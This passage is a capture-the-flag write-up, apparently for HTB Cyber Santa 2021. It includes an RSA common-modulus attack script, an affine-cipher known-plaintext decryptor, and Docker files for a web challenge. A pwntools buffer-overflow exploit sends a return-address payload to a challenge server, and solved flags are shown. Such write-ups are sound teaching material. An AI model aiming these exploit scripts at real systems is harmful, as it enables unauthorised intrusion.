* Googling will give us the scripts needed:
  * [https://gist.github.com/apogiatzis/00b047b6d6570d4e94b4ae00db6fc6e7](https://gist.github.com/apogiatzis/00b047b6d6570d4e94b4ae00db6fc6e7)
  * [https://infosecwriteups.com/rsa-attacks-common-modulus-7bdb34f331a5](https://infosecwriteups.com/rsa-attacks-common-modulus-7bdb34f331a5)

### &#x20;- Attack Script

```python
import argparse

from fractions import gcd

parser = argparse.ArgumentParser(description='RSA Common modulus attack')
required_named = parser.add_argument_group('required named arguments')
required_named.add_argument('-n', '--modulus', help='Common modulus', type=long, required=True)
required_named.add_argument('-e1', '--e1', help='First exponent', type=long, required=True)
required_named.add_argument('-e2', '--e2', help='Second exponent', type=long, required=True)
required_named.add_argument('-ct1', '--ct1', help='First ciphertext', type=long, required=True)
required_named.add_argument('-ct2', '--ct2', help='Second ciphertext', type=long, required=True)

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise ValueError('Modular inverse does not exist.')
    else:
        return x % m

def attack(c1, c2, e1, e2, N):
    if gcd(e1, e2) != 1:
        raise ValueError("Exponents e1 and e2 must be coprime")
    s1 = modinv(e1,e2)
    s2 = (gcd(e1,e2) - e1 * s1) / e2
    temp = modinv(c2, N)
    m1 = pow(c1,s1,N)
    m2 = pow(temp,-s2,N)
    return (m1 * m2) % N

def main():
    args = parser.parse_args()
    print '[+] Started attack...'
    try:
        message = attack(args.ct1, args.ct2, args.e1, args.e2, args.modulus)
        print '[+] Attack finished!'
        print '\nPlaintext message:\n%s' % format(message, 'x').decode('hex')
    except Exception as e:
        print '[+] Attack failed!'
        print e.message

main()

```

{% embed url="https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c" %}

### Day 2 : XMAS Spirit

Given : encrypted text and a python encryption script

### &#x20;- Decryptor script



```python
#!/usr/bin/python3

from pwn import *
from Crypto.Util.number import *

# our custom decrypt function
def decrypt(dt, a ,b):
	res = b''
	#reverse the encryption
	for byte in dt:
		byte = (inverse(a, mod) * byte -b ) % mod
		res += bytes([byte])
	return res

# based on breaking affine ciphers tutorials
mod = 256 # range of bytes
dt = read('encrypted.bin')
m = unhex('255044462D') # first 5 bytes of the PDF signature %PDF-

#Recover key using known plaintext and cipher text
# https://planetcalc.com/3311/
a = (dt[1] - dt[0]) * inverse(m[1] - m[0], mod) % mod
b = (dt[0] - a * m[0]) % mod

#Decrypt
res = decrypt(dt, a ,b )
#write back to PDF
write('decrypted.pdf', res)
```

## 3. Web&#x20;

### Day 1 : Toy Workshop

Still in progress

Challenge states santa lost connection with the supervisor, hence zoom in on him.

### &#x20;- Sus files

1. Docker file

```docker
FROM node:current-buster-slim

# Install packages
RUN apt-get update \
    && apt-get install -y wget supervisor gnupg \
    && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
    && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
    && apt-get update \
    && apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 libxshmfence-dev \
    --no-install-recommends \
    && rm -rf /var/lib/apt/lists/*
    
# Setup app
RUN mkdir -p /app

# Add application
WORKDIR /app
COPY challenge .

# Install dependencies
RUN yarn

# Setup superivsord
COPY config/supervisord.conf /etc/supervisord.conf

# Expose the port node-js is reachable on
EXPOSE 1337

# Start the node-js application
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
```

build docker shell script

```bash
#!/bin/bash
docker rm -f web_toy_workshop
docker build -t web_toy_workshop . 
docker run --name=web_toy_workshop --rm -p1337:1337 -it web_toy_workshop
```

supervisor config file

```
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid

[program:node]
directory=/app
command=npm start
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
```

## 4. Reversing

### Day 1 : Infiltration (analyzing system calls from app)

Challenge Info : We got a hold of an internal communication tool being used by the elves, and managed to hook it up to their server. However, it won't let us see their secrets? Can you take a look inside?

Given: client file

### &#x20;- strace

```
┌──(kali㉿kali)-[/mnt/hgfs/Kali Shared Folder/HTB Cybersanta CTF/REVERSING]
└─$ file client                 
client: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bcb9d17215725749cf2ce0ee9ef5df3c98ba8f00, for GNU/Linux 4.4.0, stripped

┌──(kali㉿kali)-[/mnt/hgfs/Kali Shared Folder/HTB Cybersanta CTF/REVERSING]
└─$ exiftool client                 
ExifTool Version Number         : 12.32
File Name                       : client
Directory                       : .
File Size                       : 14 KiB
File Modification Date/Time     : 2021:12:05 19:05:27+08:00
File Access Date/Time           : 2021:12:05 19:06:31+08:00
File Inode Change Date/Time     : 2021:12:05 19:05:27+08:00
File Permissions                : -rwxrwxrwx
File Type                       : ELF shared library
File Type Extension             : so
MIME Type                       : application/octet-stream
CPU Architecture                : 64 bit
CPU Byte Order                  : Little endian
Object File Type                : Shared object file
CPU Type                        : AMD x86-64

```

![HTB{n0t\_qu1t3\_s0\_0p4qu3}](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FKjbxE41a3sxMHmJt0ZCF%2Fimage.png?alt=media\&token=4c566c05-2e98-48af-b25d-b2da1b3f6986)

## 5. PWN

### Day 1 : Mr Snowy (Buffer overflow)

Challenge info : There is ❄️ snow everywhere!! Kids are playing around, everything looks amazing. But, this ☃️ snowman... it scares me.. He is always 👀 staring at Santa's house. Something must be wrong with him.

Given : weird text file with gibberish and some hints

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FTZVMaTUF74OhrKXOrKHL%2Fimage.png?alt=media\&token=0342d4c1-786c-4827-be70-04b70ffe61d0)

Navigating to the IP and port gives us an idea that we are supposed to connect into this server and feed commands in:

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2F5BcigDvjCCUnkVmWbkqT%2Fimage.png?alt=media\&token=5d189c24-7db5-47ac-94a8-3420fb33a623)

First we write a scritp to connect to the server and go into interactive mode :&#x20;

```python
# OUR INTIAL CODE TO INTERACT AND TEST THE SERVER GAMhon
#!/usr/bin/python3
from pwn import *

# 68.183.40.128:30857 the given docker instance
HOST = '68.183.40.128'
PORT = 30857

r = remote(HOST, PORT)

r.recvuntil("2. Let it be") # recieve until here
output = r.recv() # recieve the response from our input 

r.interactive()
```

We connected and tried option 2. Leave it alone, to see the game's response :&#x20;

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2F26pKwVUpk6lK2EQAnaBk%2Fimage.png?alt=media\&token=95b9edf1-0d93-48c2-be02-5ba7f7f71b99)

Now we try option 1 :&#x20;

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FIVJalmpGeQqz7nELfPeM%2Fimage.png?alt=media\&token=d635dc8d-8272-4866-a34d-5aa9ae49682d)

Seems like there's a password needed for deactivating! Most likely it is the flag

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FdmlvuKFgAZf7sNi5Zijs%2Fimage.png?alt=media\&token=664ef698-3825-4e1a-b64f-46a4c4714ec9)

At this point we should be thinking of ways to crack past this, exactly , the standard buffer overflow. Lets try feeding excess inputs char in instead of '1's or '2's

```python
# SECOND DRAFT TO TRY BUFFER OVERFLOW
# OUR INTIAL CODE TO INTERACT AND TEST THE SERVER GAMhon
#!/usr/bin/python3
from pwn import *

# 68.183.40.128:30857 the given docker instance
HOST = '68.183.40.128'
PORT = 30857

r = remote(HOST, PORT)

r.recvuntil("2. Let it be") # recieve until here
output = r.recv() # recieve the response from our input 
code = "1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x65\x11\x40\x00\x00\x00\x00\x00"
r.sendline(code)
r.interactive()

```

Using the write script we managed to get the password :&#x20;

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FDi1FOQKmiMUtbHshGSg3%2Fimage.png?alt=media\&token=7a155735-4426-4803-9d4e-e21ab5f0a19e)

**HTB{n1c3\_try\_3lv35\_but\_n0t\_g00d\_3n0ugh}**
